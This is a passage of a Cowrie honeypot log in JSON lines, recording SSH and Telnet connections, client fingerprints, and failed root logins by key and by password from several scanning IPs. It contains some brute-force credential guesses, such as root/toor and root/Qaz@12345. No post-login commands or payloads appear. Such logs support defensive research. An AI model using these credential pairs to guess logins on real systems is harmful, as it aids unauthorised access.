{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.214628Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:9d:c5:ed:fa:c1:07:1e:b1:bb:63:68:f3:e4:e2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUw/43sL7+XKyZ/Isgw7shTqOuw5qQ/Od/mEKOEk4SK4HmlYLrRU25/vrDo8pZk/Ci0UOLmSdCowu0eS3OdiSNrBVIQVEuiOPxfAUP0B6qkU80lRYP2T+zVfTt5OisMq2AsvTcX5NDu1WoxDgwK6cPsMhsWVrJTiTXMPZbE+qiqlVDMrdXFxKh5eKIN0AaRTZRVinvKiBjACoLlIu+vrkqKcUI4xUAGSaKNJbAnTXtgfFO8pQOfI9Mby0d+H4PGo/cCfdaKeTt6ia6YOmRmns7uumFu+X2nJRtdkGJcmJgu5JbLkicq9inwbmuU7JRuH8iDbpNhQbk3yh9yJZX5X/bjczK7cDO428s8w95zbFr8ZR7OSorh09Q++p7K4Iw2PFzafMdfo/gYL8lbky7cBXC+38XkQgZVh2sSBH/RMltvcSBH3yyDa4FG3lRQsabueR/un/exjp3EI+ztiRF0xnpK81oz84bWTAPB5elTgGvXooQ0A0QS4+7E1WdzVmAf/O2q2CH31E0ke8IacrOhC/7Zi8djinakTIpRp6eHeoVMhxovtCxw4Lgh2boeLz0/qUowewRUCQ94EPDRvlmORt2clr9UE+p2w4CYvW36nGVosAe5RNqojKK2/JfhdvARVdH0rFGkFja5ApVrOWstBlbIBfnmC2nl46aLwGGN1qXcw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:9d:c5:ed:fa:c1:07:1e:b1:bb:63:68:f3:e4:e2:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.836236Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:9d:c5:ed:fa:c1:07:1e:b1:bb:63:68:f3:e4:e2:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUw/43sL7+XKyZ/Isgw7shTqOuw5qQ/Od/mEKOEk4SK4HmlYLrRU25/vrDo8pZk/Ci0UOLmSdCowu0eS3OdiSNrBVIQVEuiOPxfAUP0B6qkU80lRYP2T+zVfTt5OisMq2AsvTcX5NDu1WoxDgwK6cPsMhsWVrJTiTXMPZbE+qiqlVDMrdXFxKh5eKIN0AaRTZRVinvKiBjACoLlIu+vrkqKcUI4xUAGSaKNJbAnTXtgfFO8pQOfI9Mby0d+H4PGo/cCfdaKeTt6ia6YOmRmns7uumFu+X2nJRtdkGJcmJgu5JbLkicq9inwbmuU7JRuH8iDbpNhQbk3yh9yJZX5X/bjczK7cDO428s8w95zbFr8ZR7OSorh09Q++p7K4Iw2PFzafMdfo/gYL8lbky7cBXC+38XkQgZVh2sSBH/RMltvcSBH3yyDa4FG3lRQsabueR/un/exjp3EI+ztiRF0xnpK81oz84bWTAPB5elTgGvXooQ0A0QS4+7E1WdzVmAf/O2q2CH31E0ke8IacrOhC/7Zi8djinakTIpRp6eHeoVMhxovtCxw4Lgh2boeLz0/qUowewRUCQ94EPDRvlmORt2clr9UE+p2w4CYvW36nGVosAe5RNqojKK2/JfhdvARVdH0rFGkFja5ApVrOWstBlbIBfnmC2nl46aLwGGN1qXcw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.838828Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.963108Z","src_ip":"112.216.108.62","session":"c96eae73f9f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:61:07:c5:61:0a:4f:b9:79:ca:53:fe:23:0c:2e:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjHYGRAnuYllp3hNNQ/pVyeOpChAb9uuyHEd+IqbWLNpJa6HmFXzXUHjrsQMwZknbq0g5cdqom4tIY1vsNYQnzcshvKzsaxNsKtG11NVlCG0VeuOt5oKbLqT7HhD311I++ecNAYRxd+QwpTUzSKm79wb/sP1wSmikwL4daDP1vjgZ2z8RMmFlM5quKQEPkaeTDiE1jTPbYTdS5Q6oHxzwv91+d69oCZPVIyppiizCmrhi3PJulth7sKxS7Oo2UHq7s6JCDI/muhLLzODruROmtpKHvsVPjzDR4oJjMw79Kh25tBIPUbrS3kkl/Egf+tEx87JsLcwp2Q5qjMljhYTHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:61:07:c5:61:0a:4f:b9:79:ca:53:fe:23:0c:2e:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.968409Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:61:07:c5:61:0a:4f:b9:79:ca:53:fe:23:0c:2e:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtjHYGRAnuYllp3hNNQ/pVyeOpChAb9uuyHEd+IqbWLNpJa6HmFXzXUHjrsQMwZknbq0g5cdqom4tIY1vsNYQnzcshvKzsaxNsKtG11NVlCG0VeuOt5oKbLqT7HhD311I++ecNAYRxd+QwpTUzSKm79wb/sP1wSmikwL4daDP1vjgZ2z8RMmFlM5quKQEPkaeTDiE1jTPbYTdS5Q6oHxzwv91+d69oCZPVIyppiizCmrhi3PJulth7sKxS7Oo2UHq7s6JCDI/muhLLzODruROmtpKHvsVPjzDR4oJjMw79Kh25tBIPUbrS3kkl/Egf+tEx87JsLcwp2Q5qjMljhYTHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:59.971348Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrrKsEWYKteF7KwFB8FECGPhydIUrlsDmkHGA/KU4Pw39/BzDgXIYobKY2+wIA/QGpnGLaKdj8C0ExBZbwTR7D8db9PHai106u0bQdbBp24ILr65OWhyYfoBm6k7E6DH/QLEFcohfyo2WvDL9MSGGc/W10bnAVW6Qdse6yIsP7jK4RXd2ibT6Q+sO0snoN3YnvP2JnSxwGHIyDhEvD2Lb5f69H5UklxJLT8XuKR0eGi1i2kG1FqorXA0R0ONM11PEJdpI1QKLJj20/NISElXrobBqqyw4tzoOHrXcgEtiUDQFaS1zXDDclP7xCAFHsXI+vZQ5vBGwe5IKV5BB/4UJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.100435Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrrKsEWYKteF7KwFB8FECGPhydIUrlsDmkHGA/KU4Pw39/BzDgXIYobKY2+wIA/QGpnGLaKdj8C0ExBZbwTR7D8db9PHai106u0bQdbBp24ILr65OWhyYfoBm6k7E6DH/QLEFcohfyo2WvDL9MSGGc/W10bnAVW6Qdse6yIsP7jK4RXd2ibT6Q+sO0snoN3YnvP2JnSxwGHIyDhEvD2Lb5f69H5UklxJLT8XuKR0eGi1i2kG1FqorXA0R0ONM11PEJdpI1QKLJj20/NISElXrobBqqyw4tzoOHrXcgEtiUDQFaS1zXDDclP7xCAFHsXI+vZQ5vBGwe5IKV5BB/4UJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.104542Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOOrGgQOWBKktn6ySXZgCB+A87yKcL1K3LT8TASwV3xD+UlRic7WR3yc5U/4A5PNdP5x6sy4aSnWqdeStr9DCi/W36FluSkv53HikXwNnE/F3CLkep/7lev79qxZSJ2andP7/xHdfAXjNMgrRhdE/Gqlm+FreEd71w3RTeM/bYr3TSlOgYVzKOlcmUlvTnuoMYFzDMRWorN829YsbBY8qWgg0ER1BMpQgWDBWU0TetwpAJ2rbA1UepFdF6TTlyuY2RjzDL1c+k5gTBRKwWrPHNd7phLdoS7pMuRkIVkISxhHCb8msKxvvmzGciJzfct0nEC+fCeY0RkoAq8M2rzEAh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.236695Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:28:4c:b2:b5:54:df:09:e2:4a:a3:89:82:fc:bc:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOOrGgQOWBKktn6ySXZgCB+A87yKcL1K3LT8TASwV3xD+UlRic7WR3yc5U/4A5PNdP5x6sy4aSnWqdeStr9DCi/W36FluSkv53HikXwNnE/F3CLkep/7lev79qxZSJ2andP7/xHdfAXjNMgrRhdE/Gqlm+FreEd71w3RTeM/bYr3TSlOgYVzKOlcmUlvTnuoMYFzDMRWorN829YsbBY8qWgg0ER1BMpQgWDBWU0TetwpAJ2rbA1UepFdF6TTlyuY2RjzDL1c+k5gTBRKwWrPHNd7phLdoS7pMuRkIVkISxhHCb8msKxvvmzGciJzfct0nEC+fCeY0RkoAq8M2rzEAh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.241120Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:07:9b:82:4b:74:ea:b6:9a:37:e8:7b:8c:23:c6:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNTKRizqkNpfbIDMmvDTHsBrp70IXkPxUn4mwQH1uMOsd59Ttd8lloc6LJ0a2liHaxwR9pjBzB8HKCejJ4/Z++J9P0D3VDBrkJlB4qryQBqVhojvc0vqqRDrhyROVhTQODjMk2UNzaQ+JxjXoTZWzemJv7hiDAUnJ/sZ/QUc+MU25QYkQ1w8NryT7WN5DDWMiC89FbhHagPNPhMHC1U+zcbd7IZBxRUPUPYX+Z4/50w6gdK6m7j8yIWV0KAikM2hHObbGFwGGJx4BYXN7mU05vI6bAIKLD/6MndkQNial+KmcsAR/6dGu72CjiDswHkSVYe2uZIHvAvvZxyhTBBEiP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:07:9b:82:4b:74:ea:b6:9a:37:e8:7b:8c:23:c6:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.377547Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:07:9b:82:4b:74:ea:b6:9a:37:e8:7b:8c:23:c6:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNTKRizqkNpfbIDMmvDTHsBrp70IXkPxUn4mwQH1uMOsd59Ttd8lloc6LJ0a2liHaxwR9pjBzB8HKCejJ4/Z++J9P0D3VDBrkJlB4qryQBqVhojvc0vqqRDrhyROVhTQODjMk2UNzaQ+JxjXoTZWzemJv7hiDAUnJ/sZ/QUc+MU25QYkQ1w8NryT7WN5DDWMiC89FbhHagPNPhMHC1U+zcbd7IZBxRUPUPYX+Z4/50w6gdK6m7j8yIWV0KAikM2hHObbGFwGGJx4BYXN7mU05vI6bAIKLD/6MndkQNial+KmcsAR/6dGu72CjiDswHkSVYe2uZIHvAvvZxyhTBBEiP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.381941Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:00.513236Z","src_ip":"91.208.197.64","session":"d8dde6d8d8eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46336,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8ddd76dd97f","protocol":"ssh","message":"New connection: 91.92.42.133:46336 (159.203.135.109:22) [session: c8ddd76dd97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:03.092955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:03.359633Z","src_ip":"91.92.42.133","session":"c8ddd76dd97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:03.363233Z","src_ip":"91.92.42.133","session":"c8ddd76dd97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:04.826599Z","src_ip":"91.92.42.133","session":"c8ddd76dd97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:06.247145Z","src_ip":"91.92.42.133","session":"c8ddd76dd97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33108,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9db8f46b44","protocol":"ssh","message":"New connection: 91.92.42.133:33108 (159.203.135.109:22) [session: dd9db8f46b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:10.770591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:10.966278Z","src_ip":"91.92.42.133","session":"dd9db8f46b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:10.974759Z","src_ip":"91.92.42.133","session":"dd9db8f46b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:12.742152Z","src_ip":"91.92.42.133","session":"dd9db8f46b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":40076,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea3b0209e295","protocol":"ssh","message":"New connection: 45.140.193.156:40076 (10.17.0.5:22) [session: ea3b0209e295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:12.833777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:12.837805Z","src_ip":"45.140.193.156","session":"ea3b0209e295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:12.952523Z","src_ip":"45.140.193.156","session":"ea3b0209e295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz@12345","message":"login attempt [root/Qaz@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:13.450710Z","src_ip":"45.140.193.156","session":"ea3b0209e295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:14.002896Z","src_ip":"91.92.42.133","session":"dd9db8f46b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":32900,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1dc354a9966","protocol":"telnet","message":"New connection: 94.23.66.112:32900 (10.17.0.5:23) [session: f1dc354a9966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:14.252372Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:14.568021Z","src_ip":"45.140.193.156","session":"ea3b0209e295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34880,"dst_ip":"159.203.135.109","dst_port":22,"session":"28312839b546","protocol":"ssh","message":"New connection: 91.92.42.133:34880 (159.203.135.109:22) [session: 28312839b546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:18.753291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:06:18.806091Z","src_ip":"91.92.42.133","session":"28312839b546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac